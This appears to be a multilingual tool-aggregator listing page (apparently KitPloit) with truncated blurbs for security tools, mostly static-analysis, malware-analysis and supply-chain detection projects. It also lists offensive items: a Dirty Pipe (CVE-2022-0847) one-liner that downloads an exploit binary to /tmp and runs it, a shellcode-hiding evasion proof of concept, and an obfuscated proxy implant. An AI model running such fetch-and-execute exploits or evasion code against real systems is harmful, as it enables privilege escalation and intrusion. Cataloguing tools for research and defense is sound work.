wpBullet

wpBullet WordPressプラグイン/テーマ（およびPHP）向け静的コード解析ツール インストール リポジトリをクローンし、依存関係をインストールしてスクリプトを実行するだけです。...

efiXplorer

efiXplorer - IDA 플러그인 및 UEFI 펌웨어 분석 및 리버스 엔지니어링 자동화를 위한 로더 문서 플러그인 위키 로더 위키 빌드 지침 및 설치 출판물 efiXplorer: Hunting for UEFI Firmware Vulnerabilities at Scale with Automated Static Analysis Static analysis-based recovery of service function calls in UEFI firmware How efiXplorer helping to solve...

ret-sync

ret-sync ret-sync 는 Reverse-Engineering Tools SYNChronization을 의미합니다. 이는 디버깅 세션WinDbg/GDB/LLDB/OllyDbg/OllyDbg2/x64dbg을 디스어셈블러IDA/Ghidra/Binary Ninja와 동기화하는 데 도움이 되는 플러그인 모음입니다. 기본 아이디어는 간단합니다. 두 세계정적 분석과 동적 분석의 장점을 취하는 것입니다. 디버거와 동적 분석은 다음을 제공합니다: 로컬 뷰, 실시간 동적 컨텍스트레지스터, 메모리 등 내장 전용 기능/API 예:...

CVE-2020-0688-Scanner

CVE-2020-0688 スキャナー CVE-2020-0688 を非侵入的な方法で複数のホストに対してチェックするための簡易 C ツール。 特徴 入力ファイルからホストをスキャンします。 パッシブチェック: HTML コンテンツをスクレイピングして Exchange バージョンを取得します。 出力ファイルを生成します。 デモ 使い方 前提条件 Windows .NET framework 4.5.2 ダウンロード root@kitploit: git clone https://github.com/onSec-fr/CVE-2020-0688-Scanner.git 実行...

awesome-android-security

Awesome-Android-Security 목차 블로그 방법 논문 도서 교육 도구 정적 분석 도구 동적 분석 도구 온라인 APK 분석기 온라인 APK 디컴파일러 포렌식 분석 도구 실습 환경 발표 기타 버그 바운티 및 분석글 치트 시트 점검 목록 버그 바운티 보고서 블로그 한국 최대 모바일 채팅 앱의 1-클릭 익스플로잇 Xiaomi 기기에서 발견된 20가지 보안 문제 Android에서 Instagram 및 Threads SSL Pinning 우회 Android 게임 Coin Hunt World와 그 통신 프로토콜을 리버스...

Dirty-Pipe

ワンラインエクスプロイト CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

Umay

物联网恶意软件相似性分析平台 查看演示 目录 关于项目 当前特性 开始使用 先决条件 安装 创建自己的数据集 贡献 许可证 关于项目 该项目基于共享代码提供物联网恶意软件相似性分析。它有助于识别与待分析文件存在共享代码的其他恶意软件。这样，您就有机会了解该恶意软件所属的家族。物联网生态中存在多种不同架构的设备。基于静态的方法在处理多架构问题时更为有效。 项目中使用了由 IoTPOT 提供的 1000 个恶意软件二进制文件。通过 radare2 提取每个二进制文件的基本块和函数，并将这些数据的哈希值存储在 SQL...

hacksguard

Hacksguard 0.2 - 초고속 TUI 악성코드 분석 도구 🛡️ Hacksguard는 SOC 분석가, 위협 헌터, 리버스 엔지니어를 위해 설계된 초고속 멀티스레드 터미널 UITUI 정적 분석 도구입니다. 전적으로 Rust로 구축되었으며, 터미널에서 바로 Portable ExecutablePE 파일에 대한 빠른 분류 및 심층 검사를 위한 직관적인 대시보드를 제공합니다. 🌟 주요 기능 초고속 & 멀티스레드: 핵심 분석 파이프라인PE 파싱, YARA 스캐닝, 엔트로피 계산이 동시에 실행됩니다. 이는 대용량 실행 파일을 분석할...

semgrep-rules

semgrep-rules 「攻撃対象領域こそが脆弱性だ。そこでバグを見つけるのは単なる詳細にすぎない。」 -- Mark Dowd 「ある詳細は、他の詳細よりも重要である。」 -- Fedor G. Pikus 脆弱性調査を容易にするための私のSemgrepルール集です。 ブログ記事 https://hnsecurity.it/blog/semgrep-ruleset-for-c-c-vulnerability-research...

pyt

.. image:: https://travis-ci.org/python-security/pyt.svg?branch=master :target: https://travis-ci.org/python-security/pyt .. image:: https://readthedocs.org/projects/pyt/badge/?version=latest :target: http://pyt.readthedocs.io/en/latest/?badge=latest .. image::...

Lastenzug

LastenZug このプロジェクトは、WebSocketベースのSocka4aプロキシを実装しています。 クライアントコンポーネントはC言語で実装されており、完全に位置独立コードPICにコンパイルされます。 コンパイル処理中に、アセンブリレベルでの難読化が、LastenPIC/SpiderPICにある2番目のツール:SpiderPIC を利用して適用されます。 SpiderPIC 難読化には以下が含まれます: 命令の置換 トラッシュの追加と、トラッシュを飛び越えるジャンプの追加 無駄な命令の追加...

static-analysis

このリポジトリは、すべてのプログラミング言語、ビルドツール、設定ファイルなどに対応する静的解析ツール を一覧にしています。リンターやフォーマッターなど、コード品質を向上させるツールに焦点を当てています。 公式ウェブサイト analysis-tools.dev はこのリポジトリを基にしており、ランキング、ユーザーコメント、各ツールの動画などの追加リソースを提供しています。 スポンサー このプロジェクトは、スポンサーの寛大な支援なしには実現できませんでした。...

guarddog

GuardDog GuardDog は、悪意のある PyPI および npm パッケージ、Go モジュール、Rust クレート、RubyGems、GitHub Actions、または VSCode 拡張機能を識別する CLI ツールです。パッケージのソースコード（YARA ルールによる）に対して静的解析を実行し、パッケージのメタデータを分析してサプライチェーン攻撃を検出します。 GuardDog が他と異なる点: 疑わしいパターンを列挙するだけではなく、GuardDog は調査結果を関連付けて、攻撃チェーンに基づく実際のリスク...

inhale

Inhale - Malware Inhaler Inhale is a malware analysis and classification tool that is capable of automating and scaling many static analysis operations. This is the beta release version, for testing purposes, feedback, and community development. Background Inhale started as a series of small...

inhale

Inhale - 악성코드 흡입기 Inhale은 정적 분석 작업을 자동화하고 확장할 수 있는 악성코드 분석 및 분류 도구입니다. 이것은 베타 릴리스 버전으로, 테스트 목적, 피드백 및 커뮤니티 개발을 위한 것입니다. 배경 Inhale은 다양한 소스에서 대량의 악성코드를 수집하고 분석할 때 사용했던 작은 스크립트 모음에서 시작되었습니다. 비슷한 작업을 수행하는 프레임워크와 도구는 많지만, 많은 파일에 대한 정보를 신속하게 찾고, 분류하고, 저장하는 제 작업 흐름에 맞는 것은 없었습니다. 일부는 비싼 API 키와 비용이 드는 기타...

packj

Packj flags malicious/risky open-source packages Packj pronounced package is a tool to help to mitigate software supply chain attacks. It can detect malicious, vulnerable, abandoned, typo-squatting, and other "risky" packages from popular open-source package registries, such as NPM, RubyGems, and...

xortool

xortool.py A tool to do some xor analysis: guess the key length based on count of equal chars guess the key base on knowledge of most frequent char Notice: xortool is now only running on Python 3. The old Python 2 version is accessible at the py2 branch. The pip package has been updated...

maltrail

Maltrail Maltrail is a network traffic detection system that identifies communication with known malicious infrastructure and reports selected traffic anomalies. It matches domains, URLs, IP addresses, IP:port pairs, and User-Agent values observed on the network against a set of indicators called...

freki

Freki는 무료 오픈소스 악성코드 분석 플랫폼입니다. 목표 1. 악성코드 분석 및 리버스 엔지니어링을 용이하게 함 2. 다양한 프로젝트에서 사용하기 쉬운 REST API 제공 3. 쉬운 배포 Docker 이용 4. 커뮤니티에서 새로운 기능을 추가할 수 있도록 허용 현재 기능 해시 추출 VirusTotal API 조회 PE 파일 정적 분석 헤더, 섹션, 임포트, 기능, 문자열 Yara 기반 패턴 매칭 웹 인터페이스 및 REST API 사용자 관리 커뮤니티 댓글 샘플 다운로드 자세한 내용은 온라인 문서를 확인하세요. 새로운 기능...

BrokenFlow

BrokenFlow 숨겨진 호출을 이용하여 암호화된 셸코드를 호출하는 간단한 PoC입니다. 소개 이 코드는 실제로 셸코드로 점프하는 명령어를 숨기기 위한 간단한 트릭을 사용합니다. 이는 정적 분석이나 에뮬레이션을 더 어렵게 만듭니다. 언제나처럼, 이 개념이 다른 논문에서 이미 설명되었다면 메시지를 보내주시면 기꺼이 참고 문헌에 추가하겠습니다. 세부 사항 이 기법을 사용하기 위한 메모리 레이아웃은 표준이며 그림 1에 설명되어 있습니다. root@kitploit: ┌───────────────────────────────┐ │ │...